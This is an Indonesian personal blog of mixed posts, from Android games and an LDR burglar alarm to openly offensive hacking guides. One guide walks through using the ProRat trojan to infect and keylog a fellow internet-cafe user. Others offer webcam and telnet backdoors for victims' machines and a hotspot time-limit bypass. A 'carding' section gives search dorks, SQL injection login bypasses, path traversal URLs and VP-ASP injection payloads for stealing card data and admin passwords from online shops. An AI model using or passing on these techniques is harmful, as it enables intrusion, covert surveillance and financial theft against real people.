FAKHRIS ARDIANSYAH
MEMBUAT INVETER 12 DC- AC
fakhris ardiansyah on Selasa, 06 Desember 2011
FAKHRIS ARDIANSYAH
JAHILIN FB ORANG YUUUKKK??!!
fakhris ardiansyah on Sabtu, 03 Desember 2011
Hack FB disini,hanya sementara.maksudnya pengguna FB ngak bisa Ol hanya untuk beberapa waktu..
nah klo penggila FB beneran beberapa waktu tadi seakan kiamat hampir dekat..hehehe :D
ada beberap langkah disini diantaranya yang perlu kamu siapin:
- To0ls hack nya,untuk toolsnya
disini - masukan email,yang mau di jailin
- Klik button Freeze,tunggu hingga 100%,bila perlu 1000% juga ngak papa,:D
nih tampilannya..
beres dech dia ngak bakal bisa ol,,hehehe
jangan seneng dulu cuman untuk smentara waktu
n pasti temenmu ngak bisa ol lagi,hehehe
nah pada saat dia login,dia dapet karma..
nih contohnya..
mohon jangan disalah gunakan yah!!
hanya untuk jailin sih ngak papa,asal ngak sering,hehehe
TERUS yaNG INI buat jahilin FB orang dengan autoclick coba saja DOWNLOAD
HACKING HOTSPOT
fakhris ardiansyah on
Hey hey hey…terkadang lagi asik asik ngenet di hotspot tiba2 putus,…katanya sih dibatasi waktu biar user tidak dapat mengakses internet lagi…. Wah wah wah … repot banget sih…hanya ingin mendapatkan informasi di internet…seluruh kegiatan kita dibatasi…edun…alahhhhhhhhhhh … pembatasan diri…makanya kapan rakyat Indonesia bias mendapatkan informasi gratis di internet … kapan seluruh sector internet tidak dijadikan ajang bisnis…ini yang membuat rakyat Indonesia menjadi tidak percaya dengan internet … dan dibodohi oleh bangsa lain… di Negara maju access internet tidak dibatasi dan GRATIS…ya sekali lagi GRATIS … hanya disini saja dijadikan sumber inspirasi bagi para pebisnis agar meraup keuntungan sebanyak –banyaknya … padahal kita orang Indonesia sangat haus ilmu, apalagi soal computer, kapan lagi sih …. Hihihihihi … okay untuk mengatasi ini ada tips dan trick untuk merubah mac agar kita bias bebas berkeliaran di dunia cyber hihihihi…
Okay…. Langsung to the point aja yah…,pertama cari hotspot…kalo bisa menyediakan hotspot gratis…tapi dibatasi oleh jam ajah gituh…, terus maeennnnnnn aja ampe abis waktunya …
nah bis itu bakal ada pembatasan akses seperti yang ditunjukkan gambar di atas .. atau ada tulisan “MAAF WAKTU BERINTERNET ANDA TELAH ABIS, SILAHKAN KEMBALI BESOK”, setannnnnnnn!!!!! kapan indonesia mo maju kalo internet dibatasi terus… yaaaa mo gak mau deh diakalin.
PROSES PEMBATASAN WAKTU
proses pembatasan waktu bisa dibatasi dari access point yang ada di kafe tersebut, dan biasanya pembatasan tersebut menggunakan MAC address, kenapa MAC Address???Kok gak IP Address??umh…kalo IP address bisa diganti sendiri kan lewat komputer, tapi kalau MAC, mungkin bisa di linux, tapi kalo di windows??? ya donlot lah program buat ngerubah MAC di:
klik disini untuk download software TMAC
kemudian install dan jalankan, maka akan muncul seperti gambar berikut:
kemudian klik tombolnya CHANGE MAC untuk mengganti mac address, lalu klik RANDOM MAC ADDRESS, seperti yang ditunjukkan gambar:
nah…ntar mac addressnya bakal dirandom sesuai dengan metode yang benar dari programnya, lalu klik CHANGE NOW!, langsung deh IP address anda berubah.
tunggu beberapa saat agar kompie merefresh perubahan ini kemudian buka lagi situs yang ingin dikunjungi, BANG BANG BANG!!!… dapet access 2 jam gratis lagi euy …
bisa dilihat tombol CLICK HERE itu jika ditekan kita mendapat free access, okay … mungkin sekian… dulu darri sayah …
remote komputer jarak jauh
fakhris ardiansyah on
Meremote komputer disini maksudnya adalah mengendalikan komputer jarak jauh dengan komputer yang berbeda.
Jadi kita bisa melakukan aktivitas untuk menggunakan mouse dan keyboard dengan lokasi komputer yang berbeda.
Misalnya Anda ingin mengendalikan computer kantor dari komputer/laptop di rumah hanya dengan koneksi internet,
klo saya coba di komputer warnet, hehe…..
yang dibutuhkan, hanyalah :
1. tool Advanced Ports Scanner
tool ini hanya dibutuhkan untuk mengetahui alamat IP dan Port sang korban
2. tool Prorat
aplikasi inilah yang bisa digunakan untuk meremote komputer orang lain. kunjungi disitus resminya
http://www.prorat.net untuk tool ini bisa anda download langsung klik disini
Oke langsung aja!
Cara penggunaan ProRat :
1. Pertama kali kita harus mengetahui terlebih dahulu IP dan Port korban yang terbuka.
Kita dapat melakukannya dengan cara manual atau juga dengan bantuan tool Ports Scanner.
Terbitkan Entri
Dari gambar diatas kita mengetahui semua IP komputer warnet yang aktif dan Port mana saja yang terbuka.
Yang akan dijadikan korban pada percobaan saya adalah komputer 8 dengan IP 192.168.0.8. (coz, ane tau klo dia punya bnyak chips) hehe..
2. Langkah selanjutnya yaitu kita jalankan ProRat, tools ini dapat kamu download di http://www.prorat.net .
Sebelumnya matiin dulu Anti Virus kamu (disable), karena ProRat akan terdeteksi sebagai virus.
Padahal dia tidak berbahaya bagi komputer kita. Setelah itu isikan IP korban pada form IP dan Portnya (default 5110).
Apabila kita klik tombol Connect maka koneksi ke komputer korban belum bisa, karena komputer korban belum kita infeksi.
Untuk menginfeksi computer korban kita terlebih dahulu membuat server yang akan dijalankan pada computer korban.
Caranya klik tombol Create – Create Prorat Server. Lalu muncul tampilan Notifications :
Centang pilihan Use Proconnective Notifications dan isi IP(DNS)Address dengan IP kita.
Pada tab General Setting kita isikan Server Port (default 5110), Server Password dan Victim Name.
- Pada tab Bind with File kita dapat menyusupkan file yang akan dijalankan bersama Server. Extensi file bebas.
- Selanjutnya adalah tab Server Extension, ada beberapa pilihan extensi server. Kita pilih yang berekstensi .Exe.
- Untuk membuat icon server kita klik tab Server Icon, pilih icon apa saja yang kamu inginkan.
Langkah terakhir dari pembuatan server ini adalah klik Create Server.
Setelah berhasil, akan tampil :
3. Kita tinggal menjalankan Server tersebut dikomputer korban. Caranya terserah kamu… mau disusupkan diam-diam atau
memakai teknik Social Engineering dan juga dapat kamu infeksikan langsung pada computer tersebut.
4. Setelah Server tersebut berhasil berjalan pada komputer korban, maka kita langsung mencoba mengkoneksikannya dengan komputer kita.
5. Untuk koneksi kita dapat menggunakan ProConnective atau langsung mengetikkan IP address dan Port komputer korban.
ProConnective adalah tools bawaan dari ProRat yang berfungsi sebagai Bridge (jembatan koneksi) antara komputer server dan komputer client (korban).
Akan nampak IP korban apabila dia sedang on.
6. Setelah berhasil melakukan koneksi ke komputer korban maka status dari ProRat akan berubah dari Disconnected ke Connected
7. klo udh gtu trserah deh mo km apain, Ada banyak hal yang dapat kita lakukan pada komputer korban seperti mengetahui informasi dari PC,
mengirimkan pesan error, mematikan komputer, mengunci mouse, membuka CD-ROM, dan msh bnyak lgi…
8. Sekarang kita akan melihat PC info korban :
9. Memasang Keylogger.
10. Dan kita bisa melihat tuh orng lg buka apa!!!
Wuih…lumayan tuh tuh orng punya 16M, hihi!OYIOYI?
Cara Pencegahan
1. Update selalu Anti Virus anda agar mampu mendeteksi adanya infeksi dari
ProRat. Biasanya server ProRat terdeteksi sebagai
Trojan.Dropper.Prorat.DZ.29, Dropped:Backdoor.Prorat.DZ.
2. Pasanglah Anti Prorat, anda bisa mendownloadnya di
http://www.softpedia.com/get/Antivir...i-prorat.shtml
SAMSUNG GALAXY MINI GAME,,!!KEEP SMILE
fakhris ardiansyah on
my favorite games for android froyo(2.2),playing your brain and action.
MMC only 2 Gb__full of games and musics,,but it's no problem ,
1. Need For Speed Shift: We are sure that you already know this game. This is one of the most popular racing game for phone. Now, you can enjoy it in your Galaxy Mini. (geosensor) only shake your HP ,car will turn left or right.:D
2. Pro Evolution Soccer: If you like to play soccer game, PES is a good choice. It’s also available for other os like Symbian. The HD version also comes for android and work for Galaxy Mini.
3. Dungeon Hunter: We can’t explain it more here. If you like adventure game on your android phone, it might will be an enjoyable game.
4. The SIM 3: We are sorry since we don’t have more information about this game. There is no problem if you want to try it.
5. GT Racing: It’s also like NFS Shift, car racing game. It’s so attractive to be play.
All of the games above have been tested and work on Galaxy Mini. Just to remind that the phone is powered by Android Froyo. So, other devices with this os might also can run these HD games. So, are you interested?
SHARE KONEKSI INTERNET LAPTOP TO ANDROID
fakhris ardiansyah on
1. Download dulu software untuk sharing wifi adhoc nya disini
2. instal deh softwarenya
3. kemudian isi
network name (SSID) = [nama wifi disesuaikan]
password = [>8 karakter lebih baik]
Shared Connection = pilih Local Area Connection/Wireless Connection jika tidak ada refresh dulu
pernah uji coba koneksinya pake modem internet dial-up, dan hasilnya belum berhasil..ntah kenapa!!
4. Sekarang Klik Start Virtual Router
5. Coba cek wifi di HP android...jika network name yg telah dibuat terdeteksi kemudian koneksikan. tunggu sampai Obtain IP Address berhasil dan status Peers Connected di virtual router sudah ada IP ADDRESS dan Mac ADDREESS Hp android yang terkoneksi.
ANTI MALING DENGAN LDR
fakhris ardiansyah on
Pengertian rangkaian dan sistem digital erat kaitannya dengan pengertian rangkaian dan sistem pada bidang elektronika. Rangkaian elektronika didefinisikan sebagai kesatuan dari komponen-komponen elektronika baik pasif maupun aktif yang membentuk suatu fungsi pengolahan sinyal (signal processing). Dalam hal ini komponen pasif adalah komponen elektronika yang dalam operasinya tidak memerlukan catu daya dan sifatnya tidak dapat melakukan penguatan terhadap arus atau tegangan listrik, sedangkan komponen aktif adalah komponen elektronika yang dalam operasinya memerlukan catu daya dan memiliki sifat dapat menguatkan sinyal atau tegangan listrik. Contoh komponen pasif adalah resistor, kapasitor, dan induktor, sedangkan contoh komponen aktif adalah transistor. Jenis pengolahan sinyal antara lain adalah penguatan sinyal (amplification), pembangkitan sinyal (oscillation), dan pemodulasian (modulation).
ALAT DAN BAHAN YANG DIPERLUKAN
- Daftar komponen yang digunakan
- Resistor : R1 = 2 K 2 R4 = 2 K 2
- R2 = 4 K 7 R5 = 1 K
- R3 = 1 K
- Kapasitor : C = 150µF / 12 VDC
- Transistor : TR = BC178
- SCR : Type SS 3328 atau FIR 3D(untuk FIR 3D agak gak maksimum) lebih cocok dengan SS 3328
- LDR : Type ORP 12
- BUZZER : 6VDC
- SAKLAR : S = Saklar SPDT
- BATERAI : 6VDC
CARA KERJA RANGKAIAN (PEMBAHASAN)
Rangkaian alarm ini sangat cocok dipakai untuk mengusir tamu tak diundang atau pencuri. Sebagai komponen utama adalah sebuah sensor yaitu berupa komponen LDR (Light Different Resistance) yang dipasang pada tempat tersembunyi namun mendapat cahaya lampu penerangan yang ada.
Rangkaian alarm ini akan berbunyi apabila ada cahaya yang menyinari LDR terpotong/terhalang oleh orang atau sebuah gerakan yang lewat sensor tersebut.
Telah kita ketahui bahwa komponen-komponen elektronika yang dibutuhkan untuk merangkai alarm diatas mempunyai cara kerja sendiri-sendiri yaitu:
- Resistor berfungsi sebagai tahanan listrik yang mempunyai besar tahanan sesuai dengan warna-warna yang ditunjukkan pada transistor.
- Kapasitor berfungsi untuk menyimpan muatan listrik. Kapasitor yang digunakan dalam rangkaian alarm ini adalah kapasitor elektrolisis jenis elektrolisis aluminium. Kapasitor jenis ini memiliki terminal positif dan terminal negatif. Kedua terminal ini harus disambungkan dengan polaritas yang benar.
- Transistor berfungsi untuk mengalirkan arus melalui terminal emitor dengan polaritas paling negatif, terminal kolektor beberapa volt lebih positif dibandingkan terminal emitor lainnya dan terminal basis lebih positif 0,7 V daripada terminal emitor lainnya.
- SCR fungsinya hampir sama dengan Transistor yaitu untuk mengalirkan arus melalui terminal emitor dengan polaritas paling negatif, terminal kolektor beberapa volt lebih positif dibandingkan terminal emitor lainnya dan terminal basis lebih positif 0,7 V daripada terminal emitor lainnya.
- LDR (Light Dependent Resistor) yang terdiri dari sebuah piringan bahan semikonduktor dengan dua buah elektroda pada permukaannya. Di bawah cahaya yang cukup terang, banyak elektron yang melepaskan diri dari atom-atom bahan semikonduktor sehingga nilai tahanan listrik bahan rendah. Dan sebaliknya apabila dalam gelap atau dibawah cahaya yang redup, bahan piringan hanya mengandung elektron bebas dalam jumlah yang relatif sangat kecil sehingga nilai tahanan bahan sangat tinggi sehingga alarm dapat bekerja.
- Buzzer (speaker) berfungsi sebagai penghasil suara alarm.
- saklar SPDT (Single-Pole, Double-Throw) berfungsi untuk menyambung dan memutuskan arus listrik yang mengalir pada alarm.
- Baterai berfungsi sebagai sumber daya pada alarm.
Apabila saklar pertama dihidupkan, maka alarm yang bekerja adalah alarm yang pertama yaitu yang diletakkan pada pintu rumah. Sehingga apabila ada seorang maling yang masuk kedalam rumah melalui pintu, maka cahaya yang menyinari sensor (LDR) akan terpotong dan alarm akan berbunyi.
Jika saklar kedua dihidupkan, maka alarm yang bekerja adalah alarm yang kedua yang diletakkan pada ruangan atau bagian dalam rumah. Dimana cara kerja rangakaian alarm yang kedua, apabila ada orang yang bergerak didalam ruangan tersebut, maka akan mengakibatkan cahaya yang menyinari sensor (LDR) akan terhalang dan alarm akan berbunyi.
Sedangkan apabila kedua saklar dihidupkan, maka alarm yang bekerja adalah kedua-duanya, sehingga apabila ada seorang pencuri yang masuk melalui pintu maupun terdapat gerakan didalam ruangan rumah maka alarm akan berbunyi, dan sebaliknya apabila kedua saklar alarm dimatikan maka tidak ada alarm yang bekerja.
Dari pembahasan diatas dapat disimpulkan bahwa rangkaian alarm anti maling tersebut dapat berbunyi ketika sensor (LDR) dalam keadaan gelap atau tidak mendapat cahaya lampu, karena jika sensor (LDR) dalam keadaan gelap mempunyai tahanan yang lebih tinggi daripada sensor (LDR) dalam keadaan yang tersinari cahaya, sehingga alarm dapat bekerja atau berbunyi.
CARA MUDAH ANDROID DIJADIKAN CAMERA CCTV
fakhris ardiansyah on
Saat ini penggunakan camera CCTV memang diperlukan untuk kebutuhan sehari-hari baik itu di lingkungan rumah atau di lingkungan kantor. Jika secara mendadak anda membutuhkan camera CCTV padahal anda sendiri tidak memilikinya, maka anda bisa menggunakan perangkat lain seperti ponsel Android sebagai camera.
Trik ini juga bisa digunakan untuk menguji kehandalan ponsel Android yang baru saja anda beli. Selain itu, anda juga bisa menggunakannya sebagai kegiatan iseng untuk mengisi waktu anda yang sedang kosong. Yang perlu diingat, jangan menggunakan trik ini untuk hal-hal negatif karena anda sendiri pasti tahu kalau hal-hal negatif bisa merusak kesehatan.
Berikut ini step by step cara menggunakan ponsel Android sebagi IP Camera yang biasa disebut dengan camera CCTV.
Tahap persiapan:
- Satu buah ponsel Android.
- Satu buah notebook yang terintegrasi dengan WiFi atau satu buah PC yang sudag dilengkapi dengan perangkat WiFi.
Proses Install Software:
- Pergi ke Market, cari aplikasi dengan kata kunci IPCam dan di situ akan ada beberapa pilihan. Pada saat melakukan percobaan ini, kami menggunakan aplikasi yang dibuat oleh Happy Droids yang bisa didapatkan dengan gratis.
- Pilih aplikasi itu and install pada ponsel Android anda.
Setelah proses install selesai, saatnya mengguakan IPCam sebagai camera CCTV:
- Aktifkan fasilitas Tethering WiFi Sharing pada ponsel Android.
- Jalankan aplikasi IPCam yang barusan diinstall.
- Pada bagian bawah paling kiri, anda akan melihat tombol dengan huruf (i). Itu adalah petunjuk penggunaan dari IPCam. Silahkan baca untuk sedikit memahami bagaimana camera ini bekerja.
- Di sebelahnya ada gambar kunci. Pilihan itu untuk memberikan autentikasi jika ada yang ingin mengakses camera. Untuk percobaan kali ini, agar lebih mudah, kosongkan saja pilihan ini.
- Pilih setting Quality sesuai dengan keinginan anda. Semakin baik Quality, maka akses bisa tambah lambat dan begitu juga sebaliknya, semakin jelek Quality maka akses semakin cepat (Gambar tidak patah-patah). Paca contoh kali ini, kami mencoba 50%, pertengahan dari kualitas camera.
- pada bagian size, pilih size sesuai dengan keinginan anda. Hal ini juga tergantung dengan ponsel, jika ponsel memang belum mampu mengambil resolusi yang tinggi, jangan dipaksakan. Pada contoh, kami menggunakan size ukuran 640×480 pixel.
- Tekan gambar IP pada bagian bawah dan masukkan port yang akan anda gunakan. Jika anda belum faham apa itu port, gunakan por 8000 saja (Default port) dan lanjutkan dengan memilih Save.
- Sekarang, nyalakan camera dengan cara “touch” pada bagian kanan bawah gambar tombol On/Off.
- Di situ anda akan melihat IP address dari camera beserta port dari camera tersebut.
- Saat ini, kembali ke notebook/komputer, koneksikan WiFi dengan ponsel Android yang sudah dikatifkan Tethering WiFi Sharing.
- Setelah terkoneksi, buka web browser dan masukkan alamat IP address sesuai dengan yang tertera pada gambar sebelumnya. Pada contoh, IP address yang digunakan adalah 192.168.43.1 dengan port 8000 maka pada adress browser, tuliskan http://192.168.43.1:8000/
- Jika semua proses sudah terkonfigurasi dengan baik, anda akan melihat tulisan seperti gambar di bawah ini.
- Selanjutnya pilih salah satu metode yang akan digunkan, apakah memilih menggunakan web browser, menggunakan media player atau menggunakan yang lain. Silahkan berkreatifitas. Pada contoh, kami menggunakan web browser Firefox.
- Yang perlu diingat, tidak semua web browser support dengan aplikasi ini. Untuk itu pastikan anda menggunakan web browser yang paling baru atau menggunakan media selain web browser.
Selesai sudah, sekarang ponsel Android anda bisa digunakan sebagai kamera CCTV seperti kamera convensinal. Anda bisa menempatkannya di mana saja asalkan sinyal WiFi dari Android bisa diterima oleh komputer/notebook.
Jika menggunakan web browser, pastikan komputer/notebook anda berkecepatan tinggi karena web browser memerlukan resource yang besar ketika streaming video dari camera Android. Jangan sampai keperluan camera CCTV anda menjadi terhambat hanya karena komputer/notebook yang lelet.
Selain menggunakan sharing dari WiFi langsung, anda juga bisa menggunakan jaringan WiFi yang sudah tersedia dengan syarat baik komputer maupun notebook sama-sama bisa mengakses jaringan tersebut. IP address dari Android juga akan mengikuti jaringan WiFi yang ada.
webcam backdoor
fakhris ardiansyah on
Tool ini adalah backdoor Webcam untuk memperlihatkan tampilan yang dilakukan oleh webcam di komputer target yang menggunakan sistem operasi Windows.
Setelah anda mendownload Webcam Backdoor yang terkompres lalu melakukan extract maka akan muncul 2 buah files, yaitu :
Server.exe : Untuk di jalankan dikomputer korban
client.exe : Untuk di jalankan di komputer penyerang
file Server.exe digunakan untuk di jalankan di komputer korban, lalu yang file client.exe dijalankan di komputer penyerang
*Program ini terdeteksi sebagai malware oleh AV
Download :CLICK HERE
Password : yogyafree
reference:http://xcode.or.id
fakhris ardiansyah
telnet backdoor
fakhris ardiansyah on
Telnet backdoor ini untuk target sistem operasi windows, saat telnet backdoor ini di jalankan maka telnet backdoor akan membuka port 5000, filenya juga kecil hanya 4 Kb.
Setelah anda mendownload Telnet Backdoor yang terkompres lalu melakukan extract maka akan muncul 1 buah files, yaitu telnetbackdoor.exe
telnetbackdoor ini dapat dijadikan backdoor alternatif setelah anda masuk ke server yang bisa dari web hacking, Hacking komputer di LAN, dan sebagainya.
Cara penanaman backdoor cukup jalankan saja telnetbackdoor.exe, misalkan :
Setelah di jalankan maka di komputer penyerang kita tinggal jalankan program Putty lalu masukkan IP korban dan port 5000 di komputer..
Setelah klik Open maka akan muncul seperti dibawah ini.
Download :CLICK HERE
*Program ini terdeteksi sebagai malware oleh AV
Password : yogyafree
reference:http://xcode.or.id
fakhris ardiansyah
HACKER
fakhris ardiansyah on
Istilah Hacker sendiri lahir sekitar tahun 1959 dari MIT(Massacusetts Institute of Technology), sebuah universitas di Amerika yang terdiri dari orang-orang cerdas namun cenderung tidak mempercayai adanya Tuhan (Atheis). Saat itulah semua berawal, dari sebuah ruangan baru, "EAM room" pada Building 26 MIT, sebuah tempat yang merupakan nenek moyang dari "dunia baru" yang kini kita kenal, tempat nenek moyang sebuah mesin yang kini kita sebut sebagai "komputer", mesin yang mampu membawa kita menuju kelebihbaikan dengan kebebasan informasi, dunia para Hacker sejati.
Para Hacker selalu bekerjasama secara sukarela menyelesaikan masalah dan membangun sesuatu. Mereka selalu berbagi informasi, memberi jawaban serta berlomba-lomba untuk berbuat yang terbaik agar dihormati di lingkungannya. Mereka tidak pernah berhenti belajar untuk menjadi ahli dan sangat anti untuk melakukan sesuatu berulang-ulang dan membosankan. Mereka berpedoman pada kata-kata bijak : “Untuk mengikuti jalan - pandanglah sang ahli - ikuti sang ahli - berjalan bersama sang ahli - kenali sang ahli -jadilah sang ahli ”
Sementara itu, para cracker sibuk untuk memuaskan diri mereka dengan aktivitas Cracking. mulai dari membobol komputer, menebar virus (tanpa tujuan - beberapa Hacker sejati ada yang menulis virus namun dengan tujuan yang jelas), hingga mengakali telepon (Phreaking). Para Hacker menyebut mereka sebagai orang malas yang tidak bertanggung jawab. Jadi, sangat tidak adil jika kita tetap menganggap bahwa Hacker itu jahat dan menakutkan karena sangat jelas bahwa Hacker bersifat membangun sementara Cracker bersifat membongkar.
Ingin jadi seorang Hacker?? Tidak ada kata sulit bagi mereka yang mau belajar. Untuk menjadi seorang Hacker anda harus menguasai beberapa bahasa pemrograman dan tentu saja sikap-sikap yang bisa membuat anda diterima di lingkungan mereka. Biasanya calon Hacker memulai dengan belajar bahasa [Python] karena bahasa ini tergolong bahasa pemrograman yang termudah. Bahasan mengenai bahasa ini bisa anda lihat di www.python.org. Setelah itu anda juga harus menguasai [java] yang sedikit lebih sulit akan tetapi menghasilkan kode yang lebih cepat dari Python, [C], [C++] yang menjadi inti dari UNIX, dan [Perl] (www.perl.com ) serta [LISP] untuk tingkat lanjut. DISTRO LINUX
Setelah menguasai semua kemampuan dasar diatas, calon Hacker disarankan untuk membuka salah sati versi UNIX open-source atau mempelajari LINUX, membaca kodenya, memodifikasi dan menjalankannya kembali. Jika mengalami kesulitan, disarankan untuk berkomunikasi dengan club pengguna Linux [ www.linpeople.org]
Sisi menarik dari seorang Hacker adalah dimana mereka saling bahu-membahu dalam menyelesaikan sebuah masalah dan membangun sesuatu. Tetapi sayangnya, kehidupan mereka yang menghabiskan 90% waktunya untuk aktivitas Hacking bukanlah hal yang baik. Kalau memang benar-benar ingin jadi Hacker, jadilah Hacker yang baik...
Tingkatan-tingkatan Dalam Dunia Hacker
Elite :
Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistemoperasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil,menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.
Semi Elite:
Hacker ini biasanya lebih mudadaripada Elite.Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecilprogram cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh Hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.
Developed Kiddie:
Sebutan ini terutamakarena umur kelompok ini masih muda (ABG)&masih sekolah. Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya.Umumnya mereka masih menggunakan Grafik UserInterface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
Script Kiddie:
Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas di atas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
Lamer:
Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi Hacker (wanna-be Hacker). Mereka biasanya membaca atau mendengar tentang Hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja. HACKER INDONESIA
dan kamu termasuk yang mana???? pengen belajar komputer KLIK DISINI
XREMOTE BACKDOOR
CARDING SHOP
fakhris ardiansyah on
1. contoh bugs pada bentuk toko sistem shopadmin :
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti
:
Ketik google.com :–> allinurl:/shopadmin.asp
Contoh target :www.(sasaran).com/shopadmin.asp
Kelemahan sistem ini bila penjahat memasukan kode injection seperti :
user : ‘or’1
pass : ‘or’1
2. contoh bugs pada bentuk toko sistem : Index CGI
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com : Ketik –> allinurl:/store/index.cgi/page=
Contoh target:www.(sasaran).com/cgi-bin/store/index.cgi?page=short_blue.htm
Hapus short_blue.htm dan ganti dengan –> ../admin/files/order.log
Hasilnya: www.(sasaran).com/cgi-bin/store/index.cgi?page=../admin/files/order.log
3. contoh bugs pada bentuk toko sistem : metacart
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com allinurl:/metacart/
Contoh target : www.(sasaran).com/metacart/about.asp
Hapus moreinfo.asp dan ganti dengan –> /database/metacart.mdb
Hasilnya :www.(sasaran).com/metacart/database/metacart.mdb 4. contoh bugs pada bentuk toko sistem :DCShop
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com : Ketik –> allinurl:/DCShop/
Contoh : www.(sasaran).com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan –> /DCShop/orders/orders.txt
atau /DCShop/Orders/orders.txt
Hasilnya : www.(sasaran).com/xxxx/DCShop/orders/orders.txt
5. contoh bugs pada bentuk toko sistem : PDshopro
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com : Ketik –> allinurl:/shop/category.asp/catid=
Contoh : www.(sasaran).com/shop/category.asp/catid=xxxxxx
Hapus /shop/category.asp/catid=xxxxx dang ganti dengan –> /admin/dbsetup.asp
Hasilnya : www.(sasaran).com/admin/dbsetup.asp
Dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb
Download file sdatapdshoppro.mdb dengan merubah url nya menjadi www.(sasaran).com/data/pdshoppro.mdb
Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)
6. contoh bugs pada bentuk toko sistem : commerceSQL
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google : Ketik –> allinurl:/commercesql/
Contoh : www.(sasaran).com/commercesql/xxxxx
Hapus commercesql/xxxxx dan ganti dengan –> cgi-bin/commercesql/index.cgi?page=
Hasilnya : www.(sasaran).com/cgi-bin/commercesql/index.cgi?page=
Untuk melihat admin config –> www.(sasaran).com/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
Untuk melihat admin manager –> www.(sasaran).com/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
Untuk melihat file log/CCnya –> www.(sasaran).com/cgi-bin/commercesql/index.cgi?page=../admin/files/order…
7. contoh bugs pada bentuk toko sistem : EShop contoh toko akan muncul di search
engine bila mengetikan beberapa
keyword, seperti :
google: Ketik –> allinurl:/eshop/
Contoh : www.(sasaran).com/xxxxx/eshop
Hapus /eshop dan ganti dengan –> /cg-bin/eshop/database/order.mdb
Hasilnya : www.(sasaran).com/…/cg-bin/eshop/database/order.mdb
Download file *.mdb nya dan Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)
8. contoh bugs pada bentuk toko sistem : Cart32 v3.5a
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com: Ketik –> allinurl:/cart32.exe/
Contoh : www.(sasaran).net/wrburns_s/cgi-bin/cart32.exe/NoItemFound
Ganti NoItemFound dengan –> error
Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses!
Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory
Kalau dibagian tersebut terdapat list file dgn format/akhiran .c32 berarti di
site tsb. terdapat file berisi data cc Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya.
Ganti string url tsb. menjadi seperti ini : http://www.(sasaran).net/wrburns_s/cgi-bin/cart32/
Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi,
dengan format
http://www.(sasaran).com/cart32/
Contoh http://www.(sasaran).net/wrburns_s/cgi-bin/cart32/WRBURNS-001065.c32
9. contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0 teknik/jalan ke dua
google.com Ketik –> allinurl:/vpasp/shopdisplayproducts.asp Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp
Contoh : http://(sasaran).com/vpasp/shopdisplayproducts.asp?cat=qwerty’%20union%…,
fldpassword%20from%20tbluser%20where%20fldusername=
‘admin’%20and%20fldpassword%20like%20′a%25′–
Gantilah nilai dari string url terakhir dg:
%20′a%25′–
%20′b%25′–
%20′c%25′–
Kalau berhasil, kita akan mendapatkan informasi username dan password admin
Untuk login admin ke http://(sasaran).com/vpasp/shopadmin.asp
silahkan Cari sendiri data CCnya
10. contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com : Ketik –> allinurl:/vpasp/shopsearch.asp Buka url target dan utk membuat admin baru, postingkan data berikut satu per satu pada bagian search engine :
Keyword=&category=5); insert into tbluser (fldusername) values
(”)–&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword=” where
fldusername=”–&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess=’1′ where
fldusername=”–&SubCategory=All&action.x=33&action.y=6
Jangan lupa untuk mengganti dan nya terserah kamu.
Untuk mengganti password admin, masukkan keyword berikut :
Keyword=&category=5); update tbluser set fldpassword=” where
fldusername=’admin’–&SubCategory=All&action.x=33&action.y=6 Untuk login admin, ada di http://(sasaran)/vpasp/shopadmin.asp
11. contoh bugs pada bentuk toko sistem : Lobby.asp
